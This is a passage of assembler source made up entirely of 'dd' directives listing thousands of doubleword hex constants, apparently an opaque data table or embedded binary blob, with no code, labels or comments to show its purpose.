dd 0FD98CE70h, 0C1B3FFADh, 0E6ABD20Fh, 0A8058638h, 30AE1E4h
dd 9C8E20E6h, 46DA1E33h, 0A2373B7Eh, 1E57416Bh, 0B4D649C9h
dd 1E377A77h, 4877B283h, 27CD5695h, 0FC585CBAh, 4E86CABBh
dd 6EE5FCE1h, 6396290Bh, 0D0D8E7E4h, 0F5718E8Eh, 0B684768Eh
dd 0C37F2323h, 3692863Eh, 7015363Ah, 655C1DEFh, 0FDEB6D2Ch
dd 0F24C8A4Ah, 884209E1h, 5549945Ch, 48F7492Ch, 0AC2CA62Dh
dd 0ACEE10A9h, 256510ACh, 0AF316E84h, 62C473EFh, 0E865D37h
dd 0C40CC447h, 0AE288B8Eh, 12BEA166h, 57F5C7FCh, 0D2F8FE1Fh
dd 7BFF684h, 79A87B2Ah, 1FFCE68Fh, 8ECE1A11h, 0AC4261BDh
dd 4EC40875h, 34982898h, 8B6847B7h, 42ABD42Eh, 0CDDCC4C7h
dd 7BDC8983h, 420B7B08h, 5B5563AAh, 6C228CA2h, 2609923Eh
dd 0E1F4A2E4h, 97D88CEBh, 1D4AA895h, 8B20E621h, 4EDDE5D5h
dd 2FAF7679h, 4C14938h, 7C4D7ACh, 4D7B6FC8h, 8BF12241h
dd 8517268Ah, 7BE67AA8h, 13BC9431h, 0B0E033Fh, 29B2886Bh
dd 5CE69912h, 0AA94DB73h, 7AA4B1B9h, 0F6B957Bh, 6B3B5C28h
dd 652EC62Ch, 0FA52CFEBh, 0F76F75D2h, 8E4A67A1h, 0EC746ED6h
dd 699F3DE6h, 3AC3DD78h, 18911DAEh, 0FFA918B0h, 7205EBABh
dd 1A180FFh, 3A52FBF4h, 0EFA3F615h, 203DD22Bh, 0D3F3B7F4h
dd 0B9A85D83h, 43EC3AE3h, 0F2098229h, 3904D859h, 0D5B2FCDDh
dd 390D1EAEh, 777EB4B5h, 24C107FBh, 0B2973876h, 2D63334Bh
dd 0CAFFC6h, 0D89C529Eh, 4F495DBCh, 69FE2EB0h, 833F16E4h
dd 1FF8054Bh, 0AA7DC882h, 0EE204449h, 0AA7A0D60h, 124C4033h
dd 0C25681EAh, 0DB101A3h, 4B6065BDh, 0C72FA696h, 0EFCF3B1Fh
dd 0B499ABEBh, 845F01BEh, 5A1CD55Fh, 0A87B86AFh, 53B777D8h
dd 3F7C1200h, 0E5DBB50Ch, 8665A51Fh, 0DD1B7872h, 0FF5DFDC0h
dd 0E16391C4h, 4DDC0F90h, 83BFA76Dh, 9F5BC5Fh, 0D6B2E56Bh
dd 7160C8AEh, 0AD1420EAh, 2A752165h, 0D0ABB7F8h, 4D7B94F0h
dd 650FBAE3h, 90C27E12h, 315CFAB3h, 6C69A86Fh, 56EDAC25h
dd 59F46B5Bh, 74D69184h, 802DEB90h, 9066984Bh, 19B39C38h
dd 6DFDB4Fh, 0FE8240D2h, 1230B9Bh, 0FA79C419h, 0D4222126h
dd 8A9FD589h, 77304AF4h, 0BB4EC7F6h, 0E8239248h, 994AD000h
dd 43E3EBAEh, 0DCF53096h, 3CEFEDD7h, 0E85B3D8Dh, 407FEEA6h
dd 0A586B5D6h, 0E803859h, 0A9A68F84h, 431F048Dh, 0D5321017h
dd 61F616C3h, 3348A455h, 0CF7499BCh, 3F4AE8FCh, 8A255F83h
dd 0E3349D46h, 1325023Ch, 617FA59Eh, 64AE81D9h, 3823B988h
dd 11B01CD2h, 0AEF12706h, 0B5404CEBh, 0DE27BCAh, 0A8E7B6DCh
dd 0ED408DEAh, 0EAFEB92Fh, 32708764h, 333E2E40h, 0C5E35229h
dd 112182D5h, 4F09E6B0h, 8D816AC0h, 6B725171h, 44020E28h
dd 8021C612h, 94128B59h, 0D863C1F4h, 0EED66B5Eh, 2D088725h
dd 0E8B3F2B5h, 9770D442h
dd 0B4AA8B5Ah, 9CC1035Ah, 0DE2D2308h, 27F4375Ah, 969A00F8h
dd 8FEDBBFCh, 2D0B9D2Dh, 33A3476Ah, 0CACD132Ah, 923329DAh
dd 85C6E19Fh, 0C2A4C398h, 0B7DA90BBh, 7D1880C9h, 603B200Dh
dd 0AD6F5BC1h, 0F9812555h, 0B2823261h, 536FC2A7h, 0DAF996FCh
dd 0E7137565h, 87F1A3F3h, 9751E53Bh, 5E302390h, 5475A99Bh
dd 13214FE1h, 41527A04h, 7007C64Ch, 2C7C4D6Dh, 0FE8FCCD6h
dd 0B5F1F5CAh, 99D6DED8h, 1D9CDE07h, 87C3A062h, 0EF325BABh
dd 0FC01F58Ch, 9E26CBFFh, 2950FD0Ah, 26F106C9h, 0EC8192CFh
dd 3359575Ah, 831F8968h, 273D196Eh, 0E6CD44C8h, 0DD91703Dh
dd 0B8C696FFh, 120B7520h, 0C5899202h, 6EBC2480h, 8C8BABA8h
dd 35D102B9h, 0E8FEA2Dh, 7385A654h, 5417D9A1h, 0DECDB3CEh
dd 708D7E8Eh, 0FA9EDF6Ch, 0C2EAF1D2h, 0CB7F1EE9h, 0FC907FB9h
dd 8458ABA2h, 0D92C56FDh, 6DD12B67h, 0E8A9429h, 2546C68Ah
dd 407AD37Ah, 0E55A7F2Bh, 0CC443BC4h, 1BE86A0Eh, 0A5591F8Fh
dd 669769C3h, 0E31630B2h, 0CA0FE414h, 0F68B85B3h, 2187FAADh
dd 226646C8h, 0DBED4DD9h, 0C43AE810h, 53D0703Bh, 3C16BDD1h
dd 27D57A0Fh, 0BCFAA37Fh, 9553BA2Bh, 0DEDDD98Fh, 0EE96A971h
dd 6C6C7FDCh, 5D3BCFBh, 1599E546h, 931EC757h, 0D6A375F9h
dd 72FBCB3Fh, 4E57FE76h, 964998h, 0E1252E4Bh, 7DCB7D45h
dd 18E4FB80h, 92DFEDBh, 0B8FAA0DAh, 5F06647h, 864C84B4h
dd 0AE96665Fh, 1B6E4C4Eh, 0EB8B675Ah, 823D1054h, 26C98EEEh
dd 4CF126B9h, 216A3CB9h, 0FE7FA502h, 0DEE24047h, 0C2E0A131h
dd 0F618E6F5h, 0E9C59975h, 0BCBEAD8Fh, 0CF768487h, 6178AC9Dh
dd 711E61DCh, 0FA21411Dh, 612915E9h, 56112115h, 650A3A9Dh
dd 3A01386Eh, 9E0F7334h, 72259512h, 5CFC03ADh, 651656B0h
dd 10307BA4h, 0A1628A4h, 4103CE20h, 0F93DDD3Eh, 0B34C021h
dd 0ECBEE748h, 0E92351A6h, 5948A20Ch, 96AF20B0h, 4DECB020h
dd 78FC4DA9h, 8C0C9BB2h, 522E375Ah, 90B22296h, 13D475BBh
dd 66A277D5h, 3C9BB6EEh, 2D78D0F8h, 0A59CB2DDh, 0AE03A785h
dd 51C83F70h, 16FB1A10h, 0D52FA360h, 0E79A3A43h, 5764AC89h
dd 0B3B4BF97h, 1A2A57D3h, 6A0A5374h, 0AC1E67C8h, 5B94F26Ah
dd 57097119h, 22A5A5DEh, 5EE36365h, 744FE6A9h, 4AC1B744h
dd 8C0C0B1Ch, 376A550Fh, 0DADBC8D0h, 693BDC34h, 0A17308C6h
dd 0F1DD55DEh, 0B1185C3Ch, 6305EF03h, 2FFE04FAh, 2FE8ACF0h
dd 930A2D34h, 3CD77CDFh, 0B8A01952h, 58842EB1h, 3D5BCB26h
dd 0E8484F29h, 0C46C1461h, 115165F6h, 9818FE03h, 105ED392h
dd 72222E00h, 57A49021h, 0D9584675h, 0B415C0C2h, 3871338Dh
dd 0C47ACCCBh, 0E1815D74h, 0D305C682h, 0F22035D7h, 864BACD1h
dd 0B9EAF7FDh, 0C6FFEBD3h, 664F9AD0h, 9B3A22ABh, 0F220C22Ch
dd 0BA8F9993h, 43B22B49h, 0CC8CDCD0h, 0FAA81DEFh, 0CA02E138h
dd 9C614816h, 84ECF30Dh, 78F09027h, 5340671Eh, 0FFBBE85Fh
dd 0B73E9507h, 824FD7AEh, 0BCDA94CDh, 40F744E7h, 0DF421CC8h
dd 1E5BA87Bh, 79D323AFh, 5F354C79h, 96BBF84Fh, 0C1AA52F0h
dd 0A8CE77C8h, 0C3EC273Eh, 2FD4C1C2h, 0E424E864h, 716FA0C2h
dd 90730F1Dh, 65B99306h, 0BA9198B6h, 89788B40h, 91A18F9h
dd 1EFFE773h, 1F0CB577h, 0E3630EC4h, 0C4DC52CCh, 66455F0h
dd 9ACF3A68h, 2D2723F8h, 0E16D7152h, 0B8D52995h, 0F908DB94h
dd 305ACCDBh, 84641F41h, 6623A750h, 0FB5B9A7Eh, 0C53E5790h
dd 50A551D6h, 11F2FC36h, 0CD74E16Fh, 620EADEAh, 0AEFD42E0h
dd 4C59177Bh, 0A4D56Ah, 83FF1B71h, 29407CCCh, 8BFDD187h
dd 765EE5C1h, 7E8BCAB0h, 0DD6DB512h, 0A2A8C41Fh, 0F43C11E3h
dd 0D61A6535h, 7E7AB572h, 0CBDC0626h, 461C94A7h, 0C95FC0AEh
dd 8BC3D145h, 2751EA63h, 0FFA3329Fh, 0D847205Ch, 0F0AE1114h
dd 0EE7B4032h, 3B1912D5h, 975B4CE7h, 3FE410D4h, 13D07885h
dd 0D09E3E2Fh, 3E2CAC20h, 0BFE5DD89h, 0EECC7EC4h, 530D2A23h
dd 0A99B792Eh, 56C6A1D9h, 0EAE5E6A4h, 0F87FC80Fh, 4F87069Dh
dd 0DCE2C696h, 4A549F6Ah, 0F85B7FAAh, 11761288h, 61D2E1BAh
dd 0ED75D504h, 0CF56AE9Eh, 61C63A19h, 57825F1Ah, 0BB25B251h
dd 999D8567h, 2BF3CE91h, 0B44C5D69h, 0E5FAD690h, 0AEB2C4EEh
dd 0AC85583Dh, 0CAABFD9Bh, 0C7C6988Bh, 0A6077612h, 64460B8Bh
dd 6AA9FCE0h, 0E3CACA43h, 12A28D85h, 0EA73E79Ch, 184BB84Eh
dd 0F1BEEF1h, 5B5F6BE1h, 9E19300Ch, 66B8166Fh, 9AEBF067h
dd 0ADB0F03Eh, 2993DA37h, 0EDFA3545h, 9244F7F8h, 48A69AC4h
dd 2CB464D5h, 0B864FED4h, 0DA65F3F2h, 9FB364E2h, 5295C75Ch
dd 89BCF25Ch, 8A009888h, 43DEFE8Dh, 57FFCFEEh, 0FB845CA4h
dd 21CBE74Ch, 2D991595h, 73EDD083h, 34F39962h, 78827993h
dd 8F9F1E6Eh, 3820E7CBh, 0BABBA0A2h, 835101C3h, 9CA9DF8Ah
dd 0CFCA9F8Fh, 9063AAA7h, 9051CB3Bh, 5839BCD9h, 88003B98h
dd 941311E6h, 50E7D0D9h, 702B8F0Ch, 97C299C1h, 793219ADh
dd 0B64F0EC1h, 488E9F0Bh, 0AA0C282Ch, 889D3835h, 0F45A7989h
dd 0B1306665h, 20930F71h, 0CD46C799h, 0BD0FB33Ch, 34BB8011h
dd 0FC21781Fh, 0F407AA17h, 9812A99Eh, 1E0CDB65h, 0BFCFA747h
dd 2241A708h, 0FF215670h, 0E9104BCDh, 0BC2D700Eh, 0E258C7FCh
dd 25790A16h, 5792361Ch, 909C55BCh, 718C73ABh, 68C33C25h
dd 343562CEh, 0F23767D4h, 0F48B4524h, 2835A650h, 78C95A1Dh
dd 867DF622h, 7752656Bh, 338DD274h, 0F610C61Bh, 0E5DD816h
dd 9ECF7317h, 70F3104Bh, 36383A79h, 791DDEF5h, 72738955h
dd 0FD7520BCh, 611708B3h, 0A31D5998h, 60F51DB9h, 0E996C03h
dd 839D8281h, 0DBFF5529h, 0D186E2C5h, 0D1E24F9Fh, 3E93CFC0h
dd 0F86EBC45h, 0DE90A776h, 4F717893h, 6505D5F8h, 73DAE7ABh
dd 35C0B04Fh, 81B6D853h, 1D671E2Eh, 1BEED138h, 586698F8h
dd 938ED4D8h, 0F32D630Bh, 3A9F1F54h, 2D935CCEh, 671093C4h
dd 3C09735Bh, 7F065EF8h, 0C071AC39h, 81A35272h, 21CFFABEh
dd 537456EEh, 0C11BABD0h, 4D45AAB2h, 4895239Dh, 0B8AC00F9h
dd 76A6D5C2h, 0A3BBA16Eh, 7BC23972h, 0FD1D4098h, 49FBA518h
dd 890F967Ch, 0F0C4EEC3h, 3972EC1Ah, 815F267Eh, 3172E458h
dd 91A9FC10h, 48126825h, 0B02D9556h, 678FCB99h, 26FBE8Bh
dd 2FF9D9D9h, 0BB506AA6h, 0CFEFA20Ah, 0A9756A3Ah, 5A2D32E9h
dd 2EC4525h, 44F63558h, 0C89C289Dh, 0C41BB2C2h, 8BCC9766h
dd 59AA5364h, 0CE8C1820h, 0ABCFFF47h, 0DC0304CAh, 51A6FEA4h
dd 3A21B3EFh, 60DE3B2Eh, 0FFC8CD84h, 0B75670D0h, 0C03E1635h
dd 64C466A3h, 0E37E1F5Ah, 696F0EC4h, 35374BA3h, 0ACA3AD67h
dd 0BEFA10FBh, 0FC2F19AFh, 0E6B6C131h, 0D78326EAh, 34F0EFD3h
dd 489617A3h, 4DB223DAh, 6F417130h, 74EF92Ah, 195F9CD6h
dd 995868D2h, 80200D28h, 35809194h, 0CFC05A5Fh, 0FBFACD72h
dd 0D91267BCh, 0C13927F0h, 3ABB51CBh, 6E362F47h, 0A43F2304h
dd 5D62BDAAh, 432E51E4h, 14669BBDh, 0CACB9CEDh, 9D85B7E7h
dd 0AED57918h, 0A17B3C58h, 0DCE62E0Bh, 0D5F22542h, 0E292343Ah
dd 9E481C7Eh, 0AAD7225Ah, 4345F2EDh, 12F47BD7h, 0CD40A62Dh
dd 280622Ah, 0CDA5DBFh, 7307957Ch, 65133D7Ah, 7DC8B939h
dd 0BF0B6D14h, 0B602C30Bh, 8BA57BBBh, 0F33B7BD4h, 0A430CA22h
dd 7689AE3h, 0EB7408E8h, 0A5638B28h, 142CC546h, 0ECC3B859h
dd 1A4DD981h, 1D16EAB7h
dd 0B09F4F56h, 0CC97F576h, 91003E9h, 9494F014h, 8257EEBAh
dd 0D2BBCB4Eh, 151A0954h, 6081C045h, 6C5F2FA8h, 4C17ACF9h
dd 0E5D0F1A5h, 2D3DE74Eh, 0F5CD8093h, 220D7492h, 2A5A93A8h
dd 1467CA85h, 0D46AF06Ch, 794D069Eh, 0C9C6D941h, 4A0AF53h
dd 21D9C1E6h, 561F9AA8h, 417B358Ch, 7DC3A4F6h, 1215778Fh
dd 0CE53D65Fh, 8A11918Dh, 0D08DE147h, 0D72A911Eh, 8E701016h
dd 409DED33h, 43109659h, 394F292Dh, 183BF7DBh, 0B5B47250h
dd 0F9A40690h, 0CF80506Ch, 4E5CAE81h, 786FA543h, 0F418B8C1h
dd 0CD4149Ch, 1B0E95B0h, 0C4FE4A78h, 3CE6776Fh, 0B36C99AFh
dd 0F5AF1E5Eh, 0BEA64833h, 0A862CEA1h, 0D49CD0B0h, 540966CFh
dd 0EC3B336Ch, 0E5D3AF4Ch, 0D5EE6BFEh, 0EB8DD462h, 0C61BC1C7h
dd 1F313650h, 50335240h, 0B400E5BAh, 1A24BBAFh, 31C9162Ch
dd 0B2706142h, 20333C2Ah, 0F00711DBh, 0B80AB25Fh, 1F886217h
dd 7DBBB902h, 0A41BCCAFh, 1514FB95h, 8057B3D3h, 18F29595h
dd 0F20E4FBFh, 0F9CC1A43h, 5D9046EEh, 0BCD15620h, 948F3439h
dd 255D287Bh, 266AB995h, 4B752BFBh, 0B2CA9BE7h, 0B594F624h
dd 0AE970A17h, 0D5C6B9F6h, 10DE08CBh, 417E2594h, 0F737644Eh
dd 0DD4A2E3Bh, 51DC85EDh, 2A0CC08Fh, 0CD5CF4C9h, 0D5489902h
dd 67F30026h, 0C6771FE1h, 7037F90Ch, 1FEF8EC4h, 8C38D08Dh
dd 0E524B230h, 97D49CFAh, 88D47722h, 0C80C3AF6h, 727F06E5h
dd 5AA7781Eh, 5C314D60h, 8CCCE9CFh, 0B186CA87h, 5F77D028h
dd 1651AE35h, 0E127B5FAh, 0F10326D9h, 0D5FDE0BBh, 3FF3B4A0h
dd 4D5A1F52h, 452761F2h, 95EF3D33h, 41F1375h, 7C22C819h
dd 5FFAA35Dh, 0D51AA248h, 8ECB82F9h, 6A03C54Ah, 38D72284h
dd 2348955Ah, 863BEAB1h, 758DDFA0h, 0D3ADEF01h, 0ACD2E7Ah
dd 0EE21BA37h, 552C5F9Eh, 0A7DF2F9Eh, 7402F11Ch, 611F042Ah
dd 3ED1E1A8h, 68A6E24Ch, 0AFAB32C6h, 5211F41Dh, 0E338F072h
dd 683CEFA0h, 50788852h, 1C6EFF71h, 73817260h, 0C7649E8Dh
dd 0BC900649h, 1250C91Fh, 0FACF02C2h, 5E6888F4h, 0FF9A760Dh
dd 3EBDC38Fh, 0FC53345Bh, 403B65A8h, 3ABB50CAh, 9CBC8F8Eh
dd 0A4356DD1h, 2C78BB9h, 0B5C2428Bh, 0F3F5BDB9h, 6B254070h
dd 0E0A74C3h, 0DE6E9578h, 502BB8E5h, 0ADC84314h, 61BA758Fh
dd 0FC9E3914h, 20048C64h, 762759EDh, 206C9FE2h, 7F785CBDh
dd 8BC50B3h, 9344F7FCh, 0F5549F71h, 0A9551C99h, 8D6EBB0Fh
dd 0B245E579h, 3B6AF036h, 7500FAE5h, 926F4C88h, 205B280Eh
dd 955EA137h, 0EAF0F481h, 0E2C42B66h, 65C923B0h, 0FF7C3C96h
dd 0AB51F951h, 460B33D6h, 0CDCB9E6Ch, 586E8C52h, 0F22293B7h
dd 0C12E8DD1h, 0DA3FB477h, 0CD173774h, 0B0FE99C4h, 7944A47Ch
dd 34166329h, 0E644886Fh, 2826A758h, 6AF51C1Fh, 8FC53CA8h
dd 3636664Fh, 0E8676ED0h, 0B33A521Fh, 0F9D24774h, 64466A5Ch
dd 0F24E20C5h, 66889955h, 0FF54DB04h, 51DBDD89h, 0F9893C0Eh
dd 6E4B0E08h, 0F2852E68h, 0F9F81AA8h, 0BC584C4Fh, 0EA255EDBh
dd 0F5C1C2C1h, 5EC262AEh, 2F180C78h, 43CBD14Eh, 10D1F2D2h
dd 0AE69CFB2h, 0DE037311h, 5E7258C9h, 78256A4Fh, 0FAF620B2h
dd 0DEF51BC7h, 0FCBB222Fh, 7CA54088h, 0C303B0C9h, 0BC4C4938h
dd 519BE205h, 4BD93C4Bh, 7BA3B6Eh, 40153D67h, 277E142Fh
dd 0B4FA055Eh, 7DCD8246h, 3ABDF0F4h, 0B783EEC6h, 5EB2977Ch
dd 2964182Ch, 4D3BCD5Dh, 0BBEB6BB8h, 0CA0D092h, 16FCB14Fh
dd 0EC270396h, 707B0076h, 6B7488C2h, 97D85C3Eh, 7320F5Ch
dd 0CCA6D62Fh, 0BF5263C0h, 78A4B75Eh, 0E79945F7h, 0A3AA4C31h
dd 59CCFD43h, 0B93C8894h, 46D1FA89h, 1BA0D45Fh, 39F7520Ch
dd 0F1910D5Bh, 5BBA0A4Ah, 970D9182h, 26E9CADBh, 0BDB9A0A5h
dd 618A783Bh, 9EF072D0h, 1A948FCDh, 295A88A3h, 319B436Ah
dd 0ED2B44FEh, 9C27D992h, 0F692F0D9h, 0D7425E34h, 0FA901652h
dd 115AA1FBh, 0DB9D8088h, 0DAD72D43h, 936BC8A5h, 236EAFF0h
dd 7C1E4146h, 0C76818C4h, 0F2FDA315h, 2ADF7D36h, 0D5F3FB9Eh
dd 0D4BCEB53h, 6779DD14h, 3690F4FBh, 0DA7A5B2Dh, 0F23DB5E7h
dd 0DBF7BEACh, 0FE7746CDh, 0B0B384DBh, 236233AAh, 5E6BAC6Bh
dd 0B8F73EFDh, 0A3533324h, 44B8C007h, 44CB59F1h, 6FB519D0h
dd 4CBC2DF0h, 9BDE73BCh, 6621C058h, 0D795CD5Eh, 6C21726Dh
dd 4C23A145h, 0C50D6D73h, 6E951264h, 0BE4F5A77h, 53714622h
dd 70D9A5B2h, 53484614h, 541B98D6h, 44C0347h, 7DAB073Dh
dd 0A8983CCBh, 3224D354h, 0DC020F56h, 0F9C3C4D4h, 0B0472E9Ah
dd 0A523D76Dh, 16E97B88h, 0D2F7C61Bh, 6ECE72B0h, 1C3DFB3Eh
dd 59B73641h, 0DA5C1BE8h, 82CE92DEh, 0A90E9D42h, 4EA7C54Eh
dd 3A59FC92h, 45BB2A48h, 0A492E9EDh, 6F7DAE3Ah, 9CBC046Fh
dd 0EE79885Bh, 53C3A8F7h, 0ED9AE1A7h, 256C63C8h, 3D154A32h
dd 8B9576BEh, 83B17777h, 90D099B2h, 0A4D3F266h, 25D6FA8Ah
dd 4A5AFFBDh, 9FBD4EE6h, 6D35FE46h, 43E59068h, 0DD7DD7E6h
dd 0F5A76AA5h, 829D80E3h, 3CD9B761h, 9B3C8C63h, 0B447700Ah
dd 70CD8E25h, 0DBCB3E57h, 0DDD3632Bh, 0C43C35BEh, 6FC6EAB4h
dd 0AF994D5Eh, 0FF51C321h, 0EAD0C59Dh, 51D1CD30h, 288D4A83h
dd 2343235Bh, 0C20A0B07h, 0F22A1073h, 0CE32A6AFh, 0F42A5D85h
dd 0D9550344h, 0D65CBF08h, 1661BD62h, 806DE7A8h, 8B458C6Ch
dd 645762AEh, 5D0C80DAh, 0F781019Eh, 3BA49BDDh, 535C299Bh
dd 29A8509Ah, 0B477C413h, 0FE036BF2h, 90B0E130h, 0A560118Ch
dd 12BCC31Dh, 4E6D40D2h, 0BAEB26CDh, 424FFCBDh, 84EE814h
dd 7047E6ADh, 0B78C0B4Ch, 8AA5702Ch, 34287F09h, 85DA6134h
dd 0B6B0D780h, 8A7E4379h, 6F9557EEh, 3FB1EF75h, 34FCFC8Ch
dd 8FF0AF4Dh, 20621761h, 2A49CADAh, 24C0042Dh, 0EC8080C9h
dd 31E8AAEEh, 2A97CEF8h, 37927EDh, 6C66CEA1h, 492B682Dh
dd 0AFEC224Eh, 905FF5C2h, 0D8F45B65h, 2FB38724h, 0B01C4D6h
dd 0E22EEB55h, 4B75B080h, 50251504h, 63EB59A8h, 0F245B204h
dd 995E05F0h, 1A6D783h, 0AE0A8973h, 17BA45C6h, 0FEC96179h
dd 5B9C756Ah, 0F138D47h, 14640A0Fh, 8AFAC684h, 87E6DAEFh
dd 160A8938h, 54A38F41h, 78A4442Ch, 40634905h, 5FD924EEh
dd 0B57BE59Ch, 0AD01B67Ch, 0A1E93855h, 57BF4BF9h, 0A06DE3E1h
dd 3BDC9D7Fh, 5A0B7549h, 0DE13D591h, 0ED285053h, 5C04F5D1h
dd 3A3FB8F2h, 7920A439h, 3F71A4DCh, 0CDB897D3h, 42B5C406h
dd 1B934875h, 0E2AB3A8Ch, 2B21DCA9h, 0F5E84EDEh, 4B10CD99h
dd 69D7FAE1h, 0BE50699Bh, 421636ACh, 32685DBAh, 8EAD7C6h
dd 536F7273h, 9550399Ch, 70570C02h, 0EAC3842h, 0CC7E3C10h
dd 0C92DED29h, 7D3C28A4h, 82135A34h, 861CA790h, 76528852h
dd 7184F028h, 401542Dh, 0EA589BB9h, 0AF059056h, 336CB1E0h
dd 0AA71F8F2h, 75887BB8h, 72BB6A90h, 0A5FD3037h, 6B5B1B4Ch
dd 0E5534F94h, 65BD2285h, 9D1FB49Fh, 17677C3Ch, 679CC2F3h
dd 49702FCh, 2C043B7Fh, 57B1A04h, 9ED3259Eh, 963E7E05h
dd 0DCA9701Bh, 0E88A0B4Bh, 0B5CA3B78h, 1886498h, 0D95538F2h
dd 1EE3C6F1h, 0E4E7CF8Eh, 36B418B4h, 5E3068EDh, 0E089F431h
dd 6441BF6Bh, 0CC6F3434h, 0D15AB264h, 0FC22C08Ah, 48E6C5D9h
dd 2BB807F0h, 0B5E64492h, 48485121h, 0BB47FFF4h, 8900A6CBh
dd 3FB3F465h, 309CEB00h, 18FCB3B3h, 5D1A787Dh, 0AC4AF68Ch
dd 0C9288904h, 0C08C45E2h
dd 5CBF943Ch, 7BAF18B6h, 5BF28108h, 9F61103h, 545A235Fh
dd 7842C82Ch, 0A27F2D3Bh, 0D04E3ADh, 65216029h, 0A3242CEBh
dd 567A3E9Dh, 0FAB8CDF4h, 30E87EBEh, 0C6B6C0EEh, 0C87DF6DAh
dd 742E68A3h, 2250D659h, 0B7031B06h, 466D83E7h, 3ECF361Fh
dd 0BB6C0253h, 7777DAE6h, 5B019A0Fh, 0ED4B1CA1h, 8B06A031h
dd 0E5E9D697h, 0D3E2EAC6h, 0A7BBB6A3h, 29EBABC4h, 8432B3D6h
dd 25D08A66h, 0B4782564h, 7731F4C6h, 4364CD55h, 9D812FC3h
dd 0F9197D62h, 8DBE445Fh, 3E4B9Bh, 0BF2467CDh, 99DE152Ah
dd 87F70CDh, 0DA8BE3E1h, 0B2004AEFh, 32E5DAF4h, 0BE4D410Fh
dd 7A22FC3Ah, 76707922h, 9903B8F4h, 654111ECh, 66F7CDC9h
dd 0D75C03CBh, 7F1E56DEh, 43E4993Eh, 0AA3F3833h, 4C36D35Dh
dd 45AF4706h, 723909C3h, 906020A8h, 8D312FBCh, 0D1736922h
dd 0F5C9CBCBh, 0A593B0FFh, 6A6FB140h, 602450C2h, 0B1723D4Eh
dd 0B0868746h, 98E97D70h, 2E2DDB65h, 0D15DC710h, 5A90130Fh
dd 77CCD88Ah, 0C3933A98h, 0E8C55758h, 0AC82FAF3h, 65EDD5ABh
dd 39864DACh, 0C0B8441Fh, 5FBBF3EDh, 1CB32375h, 0E8F906EEh
dd 0DE1842A3h, 267B86A7h, 49F50CC4h, 83FDF082h, 0C837078Ch
dd 8BF7D632h, 1BF807A5h, 0C69B3944h, 0C27073ADh, 0C9812DC3h
dd 544B0239h, 581FE7B6h, 0BCE18923h, 6EC91E95h, 0A1938BEh
dd 96A6894h, 0C5315A85h, 8D0AA7BBh, 8536A8AAh, 0C9755EBFh
dd 7FA02C59h, 0BD22D9A4h, 5D242A09h, 79173902h, 514E335Ah
dd 8C4585E1h, 6BC2ABE1h, 78297ECFh, 581B0D65h, 0AA5CE559h
dd 0A1A2D729h, 2FD9E069h, 0DA9076C0h, 88A463AAh, 0AFEA9B97h
dd 0FF47EC5Eh, 0A04AE87h, 0E8378665h, 0F1332965h, 70CF4411h
dd 0E6C8BDBBh, 9DCF37C8h, 356102C1h, 429D27Ah, 0EA00E090h
dd 6B2F3444h, 510EBAAEh, 119BCE8Ah, 0D628093Ch, 0C3477C63h
dd 0F32719A8h, 0FEA656AAh, 0FE698687h, 17A1CA9Dh, 52DF16A2h
dd 2FC4C013h, 63C6E2E2h, 0FC160320h, 11EFE7FFh, 0BE7DF4F5h
dd 9695F63Bh, 0DD688A3Eh, 284B0891h, 0FC28EDCAh, 45276228h
dd 0E0D11694h, 0A92775DDh, 5F73FC1Ah, 50EC5010h, 9C24049Fh
dd 84C2E0CBh, 5048B533h, 0D953CCBAh, 50AA0A13h, 0D70606E0h
dd 0BFFBB14Fh, 58789239h, 161811F7h, 0D7B2E81Fh, 0E2FB5C4Ch
dd 45A3CEF3h, 4C380A2Ch, 55C4EB6Fh, 0E97F4851h, 5CA8EC08h
dd 90963572h, 0D0A6E2E0h, 7ABFD5AAh, 0C48449D3h, 6A34D6EEh
dd 6344A129h, 0DA06F8B5h, 47CA5831h, 0DE0ACC3Fh, 8C83D2EBh
dd 0A80D25FCh, 8171D2BBh, 0D33F14A9h, 9846A3DEh, 5DCF2A60h
dd 8F0AAFEAh, 2203D098h, 7CEA9B75h, 0DEA141F1h, 0DBAD2C8Ch
dd 18EC3BD4h, 76EB03CAh, 55942836h, 189DCA20h, 0DE663183h
dd 6280C95Dh, 0E5972695h, 39D3F495h, 0D19DB34Eh, 0FA82E52h
dd 62E93FAAh, 0CBCAEEBDh, 0FB388D7Ah, 0A5FA8862h, 2DDE357Fh
dd 0E8D21A52h, 0DF34D71Ch, 16BFC4B7h, 0A3FAE43Ah, 1DCF76A6h
dd 0ED6F1715h, 0E2936C31h, 0CAD767E1h, 568B9FCDh, 0CC1B08E6h
dd 6C60744Dh, 35E64286h, 0DADBC6DBh, 0E8F5F7B1h, 14570938h
dd 4AB6F9EBh, 4CA67290h, 4254E5E3h, 9BFEA55Ch, 85BB00FFh
dd 38298625h, 127328B5h, 94086221h, 55EDBCFCh, 80CED4C1h
dd 0D307301Fh, 80EBD0BAh, 2087C2E6h, 0E708BE52h, 0A77FFDDFh
dd 0BB80B21Dh, 30995258h, 841596C0h, 0B04C2004h, 0FAE45ABCh
dd 1E810D26h, 96FB0F14h, 27FF0C4Ch, 3492BED9h, 0D45D8E80h
dd 0A0A0367Ah, 0D5ECC9D3h, 0E6E21C92h, 0CA190E5Dh, 5668DB12h
dd 187F2451h, 2444A6ADh, 0EBA11E65h, 81885D58h, 9A93313Dh
dd 0F17ADEC3h, 79E54FACh, 9E6D62ABh, 0E8091732h, 131286B8h
dd 0D5484179h, 0F2056A1Ah, 0EDECBC7Ah, 93186044h, 11C38AF5h
dd 3E8808C0h, 0F0708531h, 2F6B9811h, 0EEF0CE80h, 3734C406h
dd 3B05715Ah, 23C958A7h, 6E3A0956h, 8F6F7910h, 7FA01912h
dd 0E36A1F2Dh, 5B77EF03h, 58DBAD99h, 0A06D80EDh, 0D314D9D8h
dd 1778BA96h, 0EFA4E123h, 1480AB7Bh, 9A0FDC37h, 0CE341597h
dd 0DECE0FD3h, 5187AEE7h, 38E12073h, 2D8CF719h, 9551A9E8h
dd 9F47BA11h, 7EC94B6Ch, 347579F2h, 803D9684h, 0CC50F40h
dd 0A5793FECh, 0A649A7F9h, 79A62F35h, 97025C4Fh, 0E5517BD9h
dd 365FED98h, 0A38BA171h, 9DB658EFh, 8E8FFC7Eh, 0FEF641DAh
dd 27D1A2B2h, 0F0B69547h, 0B3CE75B5h, 96BAA37Dh, 65CE13C1h
dd 0C64CB296h, 97E20386h, 64276166h, 196B353Ah, 16BF3FF2h
dd 6E09AE8Eh, 9F7215E0h, 0AEB41063h, 0B81772F2h, 0ECAEEC0Eh
dd 0BBDA04A4h, 8251B32h, 1D96B1B7h, 940C3306h, 24BDAB41h
